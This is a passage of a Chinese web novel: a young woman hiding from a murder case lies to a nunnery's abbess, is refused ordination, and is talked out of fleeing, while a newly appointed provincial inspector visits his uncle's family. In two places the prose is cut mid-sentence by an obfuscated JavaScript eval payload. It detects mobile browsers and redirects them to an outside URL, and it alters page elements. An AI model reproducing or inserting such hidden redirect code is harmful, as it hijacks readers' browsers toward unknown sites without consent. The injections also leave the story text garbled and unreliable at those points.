更何况,虽说修行修的是世外之道,可只要这尼姑庵在红尘俗世一日,便少不了受红尘俗世的规矩。 她从前随姐姐们在画舫上侑酒弹琴时,曾听席间官员说过,当今太后好清修,宫中不光有一座供奉佛祖的宝殿,还在宫外某个庵堂中挂了名。 她在花船上的那几年,除了练就察言观色、守口如瓶的本事,领悟最深的一个道理,便是:官场上行事,无非四个字,上行下效。 佛门乃清静之地,既有冯家回护、又有太后这顶高帽,衙门就算再得理,难道能直接冲进尼姑庵里抓尼姑么? 胡思乱想间,禅房后遥遥传来木鱼声。宋云谣循声望去,却见院角那扇木门虚掩着,门上藤蔓随风摇晃。 那是通向竹轩的门。 她鬼使神差站起身,拎起背篓,轻轻推开了门。循着记忆,她一路往深处走,穿过弯弯绕绕的小道,绕过一片竹林,竹轩俨然出现在面前。 佛堂的门半掩着,妙音跪坐蒲团之上,诵经坐禅。 夕阳照进佛堂,落在她狰狞的侧脸上,也落在褪了色的佛像身上。 妙音口中絮絮有词,佛像却沉静不语,只垂眸望着祂虔诚的信徒,不带一丝审视,仿佛永恒的宽容与慈悲。 宋云谣望着这一幕,不知为何,想起自己方才满心功利的盘算,竟生出几分羞愧。 风吹来不寻常的气息,妙音似乎察觉到什么,停下木鱼,转头望去,诧异道:“宋施主?” 宋云谣站在竹林下,碎发挡住了她的神情。 “妙音师父,打扰了。” 妙音戴好面巾,踩着碎步走了出来。 她的声音一如那夜的悦耳,如流水叮咚,“施主怎么来了?可是来找住持的?” “是也不是。”宋云谣沉默了一下,从背篓中取出一块糕点,“妙音师父要尝尝么?” “多谢施主。” 妙音笑了,完好的半张脸上绽开笑容,可受伤的半边脸却古怪地抽了抽皮肉,伤疤挤在一起,愈发显得可怖。 宋云谣看着这张足以称得上丑陋的脸,心中却有说不清的动容。 妙音似乎瞧出她神情有异,连忙将受伤的脸转到一边,不好意思道,“是我得意忘形,吓着你了吧。” “不会。”她摇摇头,认真道,“当真不会。” 说话间,忽有一阵竹风吹过,将她的面巾卷起,那张怪异的脸又露了出来。这一回,妙音没有再躲藏。 “修行二十载,我也常对自己说,皮相皆是虚妄,只是我功夫不到家,这么多年,仍困于色。”妙音笑了笑,目光真诚,“比起贫尼,施主更有慧根。” “我……” 不知为何,一当着妙音的面,她那身混迹风月练出来的机灵话,总是难以启齿。 犹豫间,身后传来一道清正的声音。 “宋施主?” 宋云谣心中一跳,转身行礼。 “法真大师。”她拿出早打好的腹稿,“是我不请自来,还请大师恕罪。只是实在有急事相求,不得已才自作主张。” “无碍。”法真走上前,“这本就是妙音的住所,她愿意就是,轮不到我多说什么。” 宋云谣闻言,下意识看了眼妙音,却见她神情如常,并不见惶恐或羞赧,不禁若有所思:她们的关系,竟比她所想的还要亲近。 “今日辛苦你了。”法真看向她手里的背篓,“一切都顺利?” “还算顺利吧。只是在县城里遇到有人聚众斗殴,箐箐受了些惊吓,旁的倒还好。”想了想,她又道,“我还去慧芳书坊寻了个抄经书的活计。” 果然,法真点头道:“我去看过庄姑娘,开了个方子,待善远给她煎好喝下即可,并无大碍。还有,贾管事为人虽精明,做生意却是个守信的,你大可来往,不必担心。” 见她不过只言片语,便将自己今日种种都了然于胸,宋云谣一惊,仿佛被她看透一般,心中不禁升起了几分心虚。 法真越过她,往佛堂内走,宋云谣在原地踌躇片刻,追了上去。 “哦对了,住持,您要看看这药材么?虽说那药商是您的熟人,可万一……” 法真站在佛堂中央,摩挲着手中持珠,并不言语。直到宋云谣 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她低着头,声音哀戚婉转,可阴影下的那张脸,渐渐涨红起来。 “三年前,我嫁给了村里的屠户张家。张家图我容貌,我图张家殷实,一拍即合,便嫁了过去。可没想到,我那丈夫是个不成事儿的,仗着家中有父母帮扶,整日吃酒赌钱不说,醉了还对我拳打脚踢……” 她眼里落下泪,哭腔不停,说得情真意切,藏在袖中的手却攥紧了。 “我也逃过,可刚回娘家待不了半日,便会被父亲亲自送回张家……”她抽泣一声,“这日子,我实在过不下去了!” 宋云谣哭了几声,余光却见法真仍静静站在原地,似乎不为所动,不禁咬紧下唇,又开了口。 “后来,是母亲看不下去,说,‘若再待在张家,我就只等着给你收尸吧’,便准备带我离开。”她学着兰姨的口吻与脾性,小心翼翼编话。 “只是还没等我们脱身,我那丈夫有天吃酒醉倒,头摔进稻田上里,夜里稻田放水,被淹死了…… “后来,母亲不忍我做寡妇,退了聘礼,将我带回家。可没过几天,父亲又要将我嫁给邻村的老跛子,母亲一怒之下,便带我逃去了外祖家。” “后面的事,母亲说的都是真的……外祖家几口人早就死在饥荒里,我们当了一阵子流民,后来又遇到劫匪,九死一生,才到了静雪庵……” 大致圆上谎话,宋云谣担心说多错多,不敢再编,只能打住,以哭声遮掩。 而法真静静听完全程,问道:“你如今既已改头换面,以你的才情,就算再嫁也未必不得良配,又为何要遁入空门?” 宋云谣明白,这一问便是最要紧的考验,心弦霎时绷紧。她心知法真不是个好糊弄的,若是再全然作假,只怕被她一眼看穿。 她思忖片刻,这一年来的种种浮上心头。 半晌,低声道:“不瞒您说,我过去十八年,都不如在静雪庵的一年心安。” 法真脚步微移,转身看向她。 “山中清静,又日夜斋戒,自然叫人心安宁静。” “那不一样。”宋云谣慢慢摇摇头,“我出生市井、自幼家贫,日子本是一眼能往到头的。好生长大、寻个老实人家,一辈子围着田间灶头转,日子虽平淡,却也踏实。” 她沉默片刻。 “说来让您笑话,因为这张脸,那样寻常的日子,我从没过过一天。” 宋云谣微微仰起脸。 佛堂外,天边涂抹着粉紫的云霞,浓艳的夕照落在她半张侧脸上,杏眼含春、长睫卷翘,是难得一见的媚色。 即便今日在外奔波一天,脸上也不见风尘,只是额前垂落几缕碎发,透出几分疲态。 可这疲态,映着下垂的眼尾、冷淡的神色,反倒中和了五官的媚意,像一幅留白巧妙的山水画,清隽动人、韵味悠长。 这样的相貌,不说钟鸣鼎食,但凡能落到个殷实富庶的家中,这辈子,也不必过得如此颠沛流离。 她轻声道:“大师,您也是女子。女子的难处,您又怎会不懂呢?” 法真沉默不语。 “在静雪庵一年,寺中师父们对我既不曾恶语相向,更不必说剥削盘算。能安安稳稳一觉睡到天亮,睡醒不必担心谁要将我买走、谁又要对我拳打脚踢……” “这样的日子,我自……”她顿了顿,“我自五岁起,就再没有尝过了。” “大师。”宋云谣仰起头,膝行至法真脚边,两行清泪从眼角滑落,“您就为我剃度吧,我会好生念经、学佛法的。” 直到此刻,她竟分不清有几分是演戏,几分是真心了。 她哽咽道:“您就让我留在静雪庵吧。” 13.耳光 法真低头看着她,沉默良久,轻轻摇头。 “宋施主,我不能为你剃度。” 屋外竹林潇潇,斜阳西沉,最后一抹余晖从她脚边溜走,法真站在佛像高大的阴影中,神情晦暗。 “为何?”宋云谣仰着头,眼中噙泪,“您不是常说慈航普度?为何不能收下我呢?” 法真摇头,“你的归处,不在这里。” “这是何意?”她闻言一怔。 法真步子一动,挣开她的手,慢慢踱至门前。僧袍被风吹得鼓起,她像只困在缁衣中的雁,定定站在原地。 “宋施主,你是聪明人。有些话不必说尽,你我也都明白。” 她望着法真的背影,心中咯噔一跳。 法真平声道,“你尘缘未尽、因果未了,恐怕还有诸多牵绊。即便此时遁入空门、得以暂避,可终有一日,还是会回那红尘中去。” 宋云谣脸上神色渐渐淡了,慢慢垂下头去。 “大师为何如此笃定?若我真心向佛呢?”她轻声问。 法真转过身,望着跪坐殿中、垂首敛眉的女子。 “若真有那一日。”她静静道,“你不必求我,佛祖自会看到。” 法真说得风轻云淡,可话里话外的意思如此明了,不禁令她攥紧了手,心绪起伏。 沉默良久,她爬起身,朝法真一拜。 “我明白了。”她低声道,“大师不愿为我剃度,自有大师的道理,我不会纠缠。今日是我叨扰了,还望大师莫怪。” “算不上叨扰。”法真道,“只是出家非小事,宋施主还是慎重为好。” 她抿抿唇,避开法真的视线,“大师说得对。” 法真顿了顿,“静雪庵虽不大,留你们母女二人在此借住,总不是难事。” 羞愧和窘迫在身体里冲撞,宋云谣低垂下头,手紧紧掐住衣角。 “安心住下吧,将来的事,自有将来的缘法。” 脚步声渐渐远去,眼前的身影消失了。宋云谣垂首站立佛殿之中,久久未动。 头顶的佛像静静注视着她,在那古井无波的视线中,她有种被扒光了身子、无处遁形的错觉。 “住持走了?” 面前忽然传来声音,只见妙音从屋外掌灯而来。 宋云谣回过神,下意识扬起一个笑,“刚走不久。妙音师父有事找住持么?要不,我去帮你……” “不用。”妙音轻柔地打断她,“若宋施主方便,可否同我一起点灯?” 宋云谣无言接过灯,背过身,将佛殿内外的红烛一一点亮。室内渐渐亮起,暖黄的烛光驱散了些许冷清。屋外竹声萧瑟,风中吹来渺远的诵经声。 “辛苦了。”妙音道“今日劳你下山跑一趟,他们打架斗殴没吓到你吧?” 宋云谣摇摇头,“我跑得快,并无大碍。” “真的吗?”她仔细打量着宋云谣的神态,斟酌道,“若是他们说了什么难听话、冒犯了你,你莫要往心中去。” 宋云谣愣住,不解其意。 妙音靠近了几步,近得宋云谣能嗅到她身上苦涩的草药气息。 她拉起宋云谣的手,宽慰道:“虽说你只是借住此处,可只要有静雪庵、有住持在一日,就算外头再如何风言风语,也不必害怕,安心住下就是。” 她按了按宋云谣的手心,轻轻道,“我虽与大家来往不多,却也知道,静雪庵的人,向来是心思淳厚、也知冷知热的。 “住持与净念同我说过,你们母女在庵堂待了近一年,处处为大家着想,大小事务交给你们,也从无怨言。桩桩件件,大家都看在眼里,都念着你们的好。” 妙音蒙着面,摇曳的烛光映着她完好的半张脸,就连眼尾的细纹都变得柔和。 “我修行不到家,有些话本不该说的。可我若是不说,又怕你心中介怀、做出傻事。” 她柔声道,“就算不曾剃度出家,静雪庵上下,也早将你们看作自己人了,就像箐箐那样。 “只要心怀慈悲、多行善事,又何必拘泥于这身上僧袍、头上戒疤呢?” 宋云谣怔怔站在原地,在妙音关切真挚的目光下,她忽然感到一种难言的不堪和自厌,像滩恶臭的黑水一般,在腹中不停翻涌而上,令人作呕。 好恶心。 她强忍住干呕的冲动,朝妙音挤出一个笑,故作无事,“我明白了,多谢师父教诲,是我着相了。” 妙音松了口气,又羞赧道:“不是什么师父,你叫我妙音就好。这么晚了,还没吃吧,要不就留在我这吃口斋饭?我灶上正热着菜呢……” 宋云谣保持着嘴角笑意,同妙音推脱两句,又问了她从竹轩离开可有别的路——此时此刻,她像只被看透了丑陋真身的妖怪,实在没有气力再去面对法真。 妙音也体谅她,为她指了条相反的路,只是要绕后山多走一圈,偏僻了些。担心路上不好走,妙音为她点了灯笼,一路将她送到竹轩百米外,终于作别。 今夜月色黯淡,云翳被月华染得昏黄,宋云谣提灯快步走在后山林间,直到确认走出了妙音视线,她腿一软,扶住一旁的树,弯腰干呕起来。 奔走一日就吃了半碗面汤,宋云谣胃中烧心的疼,却只能吐出几口酸水。 可此刻,比起身体的不适,那股自心底生出的厌恶与羞耻,更叫她痛苦。 她垂首喘息,难受得满眼是泪,双颊憋得通红,活像被人狠狠掌掴了一般。 真恶心,宋云谣,你真恶心。 她在心底对自己说。 你当真是个卑劣小人。 法真慧眼如炬,恐怕早看穿她有所隐瞒,不过是留了几分薄面、怀了几分慈悲,仍愿意让她留在此处; 而妙音见她不过两面,俨然将她视为纯善无辜的可怜人,以为自己下山受了欺负,字字句句宽慰自己,莫要为了一时庇护,冲动之下剃发为尼。 可只有她明白,自己这张人皮,尽是自私、怯懦与虚伪。 她不值得她们这样的厚待。 宋云谣慢慢直起身,拾起落到地上的灯笼,一步步往外走。 或许人总是趋利避害、畏死乐生。她被眼前的危机冲昏头脑,只顾着为自己解困,却全然忘了,若有一日官府当真查到此处,纵有衢州冯家庇护,静雪庵上下又怎能不被波及? 若她尚存一点良心,或许此时就该回去收拾包袱,趁夜从静雪庵离开。 宋云谣越走越快,初春的夜风寒意不减,冷冷地抽打在她脸上。 远处,熟悉的撞钟声响起,那是晚课结束的时辰。 宋云谣想到,此时,姑子们应正携着经书从佛堂离开,各自回到禅房,洗漱沐浴,安眠一夜。 再过几个时辰,待后山鸡鸣、天色泛白,静雪庵缓缓苏醒,姑子们便又起身,继续一天的诵经念佛、洒扫除尘、吃斋茹素。 这样的日子,她早已烂熟于心。 今夜她说了很多谎,可唯独这一件事,她没有说谎。 在静雪庵的一年,是她从未尝过的安心与平静。 平静到,有时她甚至都快忘了杭州、忘了窈儿、忘了那桩命案。 这样的日子,她舍不得。 不知不觉中,她已走到了住处前。推开小院,屋中隐隐透出光,廊下还放着今日庄箐箐留下的花草。 宋云谣疲惫地揉揉额角,走到井边用凉水洗漱一番,终于走进屋中。 室内静悄悄的,不见兰姨的踪影,她绕过屏风,却见桌上竟放着一碗白粥、一碟小菜,还有用油纸包好的酥饼——是她今日送去膳堂的。 她一愣,唤道:“兰姨?” 屋内没有回应,她将酥饼拿起又放下,沉默片刻,终于下定决心,转身走进内室,翻出一个包袱,准备收拾行李。 原以为属于自己的不过几件衣袍,可当真收拾起来,她才发现,在静雪庵的一年,她竟也零零碎碎存下了许多东西。 善远手抄的一本《心经》;庄箐箐编的两只草蚂蚱;兰姨在后山耕种时挖到的漂亮石头;姑子们下山时给她带的头油、梳子;听闻她会写字,净念送来的一刀宣纸、法真送来的笔墨砚台…… 它们都被她安放在床架抽屉中,明明都对她逃跑无一用处,可如今一样样拿起,竟都割舍不下。 “你要离开?” 门外冷不丁响起一道声音,宋云谣一惊,下意识用被子盖住,却见兰姨几步冲上来,一把掀开了被子。 “你要跑?”兰姨又问。 “你去哪儿了?何时来的?”宋云谣避开她犀利的目光,反口问道。 “你现在走了,我怎么办?”兰姨不理会她的顾左右而言他,咄咄逼人。 宋云谣抿抿唇,低声道:“我不能留在这里,走了对谁都好。” 兰姨眉头紧蹙,一屁股在她床边坐下。 “给我说清楚,到底怎么了?就因为法真看不上你当尼姑?” 宋云谣猛地抬起头,像被人踩住尾巴的猫,错愕道:“你怎么知道?你偷听!” 兰姨对她的指责满不在乎,“我看你迟迟不来,想着去法真那儿找你,然后就看见了。” 她啧了一声,“怎么,你还嫌丢人?你我之间,什么事儿不知道,差不多得了。” 宋云谣心中愠怒,不想同她计较,自顾自继续收拾行李。 “我走了,对大家都好,你不必劝我了。至于住持那边,你随便找个理由就行,说自己一切不知情也行。反正就算我走了,她也不会赶你的,你不必担心。” “你!”兰姨一把扯过她手中行李,怒道,“从没见过你这样听不懂人话的,说走就走,离了静雪庵,你还能去哪儿!” 说着,兰姨抬指狠狠戳在她眉心,恨铁不成钢。 “你个蠢的!你以为外头是什么地方?你以为处处都是静雪庵?就你这皮相,要不了半天,只怕就被人拐走卖去那等脏的臭的地方,当真是不知天高地厚!” 不知兰姨那句说错了,宋云谣心中绷了一夜的弦忽然断了,她一把推开兰姨的手,几乎不管不顾道: “就算真被人卖了,也是我罪有应得,是我的命,关你什么事?真死在外面,正好再没人知道你的底细,你满意了吧!” “啪——” 一声脆响,宋云谣只觉眼前划过一道手风,抬手摸去,脸上火辣辣的疼。 她被打得懵了一瞬,怔怔望去,却见兰姨胸膛起伏,喘着气,眼眶泛红。 “这话,该是你这样的姑娘说的吗!”兰姨用力抓住她的肩膀,形容癫狂,厉声道,“什么叫罪有应得?罪有应得就该被人拐去卖了?你给我说清楚!” 宋云谣被兰姨吓得愣在原地,一时不知如何开口。 “我……” “我告诉你,这念头,想都不准想,听到了没有!” “听,听到了……” 兰姨深吸一口气,慢慢平静下来。 “东西先放着。我听庄丫头说,你一整天都没怎么吃,先过来把粥饼吃了。” 不容宋云谣说不,兰姨一把将她拉到桌边坐下,将粥碗塞到她手里,又摸了摸酥饼,已经有些凉了,便就地生起小陶炉,将酥饼放在上面烤着。 宋云谣望着她蹲在地上,歪头吹火的模样,一口口吃着粥,滋味难言。 喝下小半碗粥,失控的情绪也好似被喂饱,渐渐平息下来。 她放下筷子,憋了半晌,不知为何脱口而出:“我方才胡说的,你别往心里去。” 说完她便有几分懊悔,明明自己才是平白挨了一巴掌的人…… 屋内飘着一股焦香,兰姨将烤好的酥饼放在她面前,坐到桌边。 “是我不对,不敢动手。”兰姨抬手梳了梳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14864360|154264||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己散落的乱发,话语中带了几分疲惫,“我手劲儿大,疼不疼?” 宋云谣慢慢摇头,“还好。” 兰姨看了看她,没说话,起身去侧间拧了张湿帕子,递给她。 “红了。”兰姨比划一下。 宋云谣接过帕子,敷在脸上,凉凉的。 二人面对面坐着,一时无话,良久,兰姨打破了沉默。 “丫头,人活一辈子,最不紧要的,就是这张脸面。” 兰姨斜靠在桌边,望着桌上那支短烛,声音喑哑。 “不就是没被人看上么,这破尼姑,谁爱当谁当去。若因为一时不如意,走错了路,将自己一辈子搭进去,才是真的傻啊。” 兰姨难得露出这般语重心长的模样,宋云谣有些动容,可她也明白,是兰姨误会了。 “不是因为这个……”她垂下头,难以启齿,“总之,我走了,对你、对住持、对静雪庵,都是好事。” 兰姨眉心一蹙,打量她几眼,霎时恍然。 “是,衙门的官司,对不对?”她试探问道。 宋云谣心中一跳,并未答话。可兰姨好似笃定了想法,琢磨片刻,语气严肃起来。 “你放心,我晓得分寸,旁的不会多问。”兰姨道,“只是你得明白,越是衙门官司,越要耐得住性子、定得住气。” 宋云谣看向她,满心诧异。 “衙门办事,自有规矩章法,若只是听风就是雨,没有半点筹谋,不过是自乱阵脚,于你、于大局,都无益。” 她压低声音,凑近宋云谣,“你以为你跑了,他日查到这儿,静雪庵就能全身而退?” 宋云谣心中砰砰直跳,“那我该怎么办?” “怎么办?我又不知道你犯了什么事,我怎么知道怎么办?”兰姨伸了个懒腰,散漫道,“打住啊,你不必告诉我,我也不想听。你我之间,各留余地,对彼此都好。” “……放心,我不会说,也不会问。” “总之,你现在跑了,除了徒留把柄、陷自己于险境,别无用处。”兰姨打了个哈欠,慢悠悠走进内室。 “我要是你,我就留在这儿。有静雪庵在,至少能护着你多打听些消息,总不至于像个无头苍蝇,四处乱撞。 “他日就算真的查到这儿了,再看形势,指不定会有转机。” 说着,兰姨脱了鞋袜,直接倒进床榻上。宋云谣站在屏风旁,心绪飞转。 兰姨说得没错。 消息越多,手里筹码越多,如今她手里只有黑岩帮对外声称杀死王攀、朝廷派人下来查案两个消息,其余一概不知。 眼下就算跑了,也不过无头苍蝇,将来再想接触到朝廷的消息,恐怕就难了。 可若是留在静雪庵…… 一则,有黑岩帮在前,已然分散了官府注意; 二来,衢州离杭州近千里,一个不起眼的小县、一个香火稀薄的尼姑庵,她一路过来也是误打误撞,未必就能查到此处。 仔细想想,如今她一路过来,正儿八经见过她容貌的人,除却沈三、兰姨,也只有那日富春江游船上,那个提刀爬上船的不速之客…… 那个人,会是黑岩帮的人吗? 宋云谣轻轻咬着指节,陷入沉思之中。 “欸,给我打盆水来。”兰姨半抬起身子,朝她吩咐,“我脚还没好呢。” 宋云谣思绪一断,可今日这一闹,她早没了脾气,乖乖出门打水。抬水进屋,放到兰姨床前,她又拿起炉上的壶,往盆里掺热水。 桌上的短烛快要烧尽,烛泪顺着烛台往下流,屋内愈发昏暗。 宋云谣低头倒水时,忽然听见床上传来兰姨的声音。 “你在法真面前说的,都是假的吗?” “有关我身世的,都是假的。”宋云谣随口道,“既然你听见了,那便刚好记下,省得将来说漏嘴。” 身后兰姨久久没有再答话,直到宋云谣出门放炉子时,才隐约听见她低沉模糊的话音,仿佛梦呓一般。 “……没有……就好……” 说话间,桌上短烛终于烧尽,噗嗤一声,烛火灭了。 宋云谣步子一顿,转头望去,黑暗的内室中,兰姨仍旧躺在榻上,呼吸绵长,好似等不及洗漱,已经彻底睡了过去。 她立足片刻,收回视线,轻轻带上门。 - 两个月后,绍兴府。 天刚擦黑,正是归家的时辰,林宅大门前却热闹。一众仆役排列门前,翘首望着街口。 此处是浙江都指挥使司佥事林承宗的府邸,众人等候的,便是当今圣上钦点、方才走马上任半月的浙江巡按御史,沈不器。 林锦程坐在门房中,双腿搭在桌上,半眯着眼,折扇轻摇。 门外传来一串脚步,林锦程闭着眼,张口便打发。 “都说了没来没来,告诉小妹,再打着爹的旗号来问,我就去告状了啊。” “不是,不是!”门外的小厮气喘吁吁,“少爷,表少爷来了!” 话音刚落,林锦程扇子一收、眼睛一睁,一个起身站起,匆匆朝外走去。 刚走到门前,却听门外一众仆役高声道:“拜见沈大人!” 林锦程乐得看戏,果不其然,正从青帷马车上走下的那人动作一顿,好似被众人齐声高呼震在原地,清冽的目光直直射向自己。 “小的见过沈巡按。”林锦程几步上前,拱手作揖,调笑道,“一年未见,沈巡按风华更甚啊!” “三郎不敢当。”沈不器一身青衣,眉目疏朗,“倒是表兄,于家中庶务倒是愈发上手了。这排场,只怕舅舅亲自安排,也不过如是了。” 沈不器说得风轻云淡,林锦程却听出几分挖苦与威胁,乐得哈哈一笑。 “得了,别变着法损我了,快进去吧,你舅舅舅母可等急了!” 14.巡按 正值酉末,天色渐暗,林府四处燃起灯。 庭院中安置了素色花卉盆栽,檐下悬挂着苎麻布幔,行走其间,只觉一派肃穆庄重。 沈不器将一切纳入眼底,心想,这宅院布置,多半是舅母郑夫人的手笔。 林家老夫人去世一年有余,虽仍在孝期,可大齐有律,武官特许不必丁忧,只要莫触犯孝期禁制、平白坏了官声,朝廷并不追究。 舅舅是个武人性子,疏于内宅;舅母却向来谨慎周全,事事都要求个十全十美、妥帖无虞,断不会叫林家落人口实。 思忖间,沈不器发现脚下路并非往膳厅去,了然道:“舅舅舅母可是在祠堂等我?” 林锦程叹了口气,“可不,我娘非让先来给祖母上香。我说你奔波一路,吃完再来不是一样?她直骂我榆木脑袋!” 沈不器失笑:“还是舅母思虑周全。有亲长如此,四哥该高兴才是。” 当初他打着守孝旗号来绍兴避祸,如今再回故地,总得把姿态做全——浙江巡按的位置,可比一个翰林编修引人注目多了。 林锦程摆摆手:“要说心眼子,这林家谁也比不过她。” “舅母若是入仕为官,只怕比你我还要如鱼得水。”沈不器感叹道。 “你可是她心尖尖上的好后生,我就算咯。” 林锦程手一抖,展开折扇,姿态散漫。 “都不必提什么仕途经济,单说我的婚事,就足够她训我三天三夜不带停的。” 说着,他朝沈不器挤挤眼睛,“三郎如今前程大好,恐怕家中门槛都被媒人踏平了吧。” 沈不器摇摇头,无奈道:“四哥别打趣我了。” 提起婚事,沈不器也不免心有戚戚。 他今年十九,虚岁也算是弱冠之年,至今仍未议亲。 十几岁时,李昌唯猝然离世,他默默守孝三年,家中也并无怨言。 后来他入仕为官,家中刚张罗起议婚的事,他又卷入立储之争中,只能暂且搁置。 耽搁几年,如今他年纪刚好,却担上了巡按浙江的重任,能不能全身而退都是两说,家中自然也歇了心思。 婚事一拖再拖,沈母自然着急。 他还未离京上任时,林夫人几乎把京郊的寺庙道观都跑遍了,四处为他寻大师、算八字,生怕他是个婚姻坎坷的命。 好在诸位大师都给面子,一个二个算出来,都说令郎将来必定夫妻恩爱、鹣鲽情深。 只是私心而论,对成婚生子一事,沈不器心中并无多少热忱。 “我可听说,”林锦程压低声音,“你这婚事让姑母也急个不行。前些日子,还托我娘找人去祖坟上看看呢。” 沈不器一愣,霎时哭笑不得,“那可看出什么名堂了?” “自然万事大吉。要我说,最不必忧心婚事的就是你了!你这相貌气度、这前程仕途,打着灯笼都难找呢。” 说着,林锦程收起几分玩笑,轻轻叹了口气。 “这婚姻之事,男子拖一拖倒也无妨,可对女子而言,就苛刻许多了……” 沈不器闻言一愣,却见林锦程脸上闪过懊悔,似乎自觉失言,打住了话头。 “哎哟,光顾着说话,只怕他们又要派人来催了……” 沈不器从善如流,二人加快脚步,绕过抄手游廊,一路往宅院东边去,终于瞧见了祠堂的模样。 舅舅舅母早已等候多时,远远瞧见沈不器,忙快步上前。 沈不器刚要拜见,林承宗两只大手一捞,将他细细端详一番,感叹道:“这才没几天,又长高了不少吧。” “瞧你舅舅,这都一年未见了,他还觉着就几天前的事儿呢。”郑夫人嗔怪一声,又关切道,“一路累了吧,也是怪我,这一口茶都没来得及喝,就把你叫到这了。” 沈不器躬身行礼,恳切道:“舅舅舅母一番苦心,三郎感念不及,怎敢怪罪?倒是这一路耽搁,叫二位长辈久等了。” 闻言,郑夫人脸上笑意更甚,瞧着他的目光愈发欣赏。寒暄两句,一行人进了祠堂,纷纷敛了神情,为林老夫人上了三炷香。 上过香,众人才往膳厅走去。 膳厅里灯火通明,刚到院门口,就听里头隐隐传来孩童打闹啼哭的声响,夹着少女烦躁的制止声。 “我数到三,谁最后松手,明日就多加三页大字。” 此话一出,屋内霎时一静,哭声又此起彼伏起来。 郑夫人赶忙进屋,而膳厅内,那少女一眼瞧见门外沈不器的身影,脸腾地一红,讪讪站起身。 林锦程挑挑眉,不动声色看向沈不器,却见他扫了一眼便移开视线,问道:“怎么不见几位表嫂?” “……”林锦程暗中叹口气,“赴知府千金办的赏花宴去了。” 说话间,众人进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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席上说笑不断,林含姝低头吃茶,悄悄藏起眼底的欢欣。 吃过晚膳,女眷回内宅休息,林承宗则带着儿子、外甥回了前院。 方在书房坐下,只见林承宗神色一敛,正色问道:“三郎,你同我说清楚,浙江巡按的差事,怎么就落到你身上了!”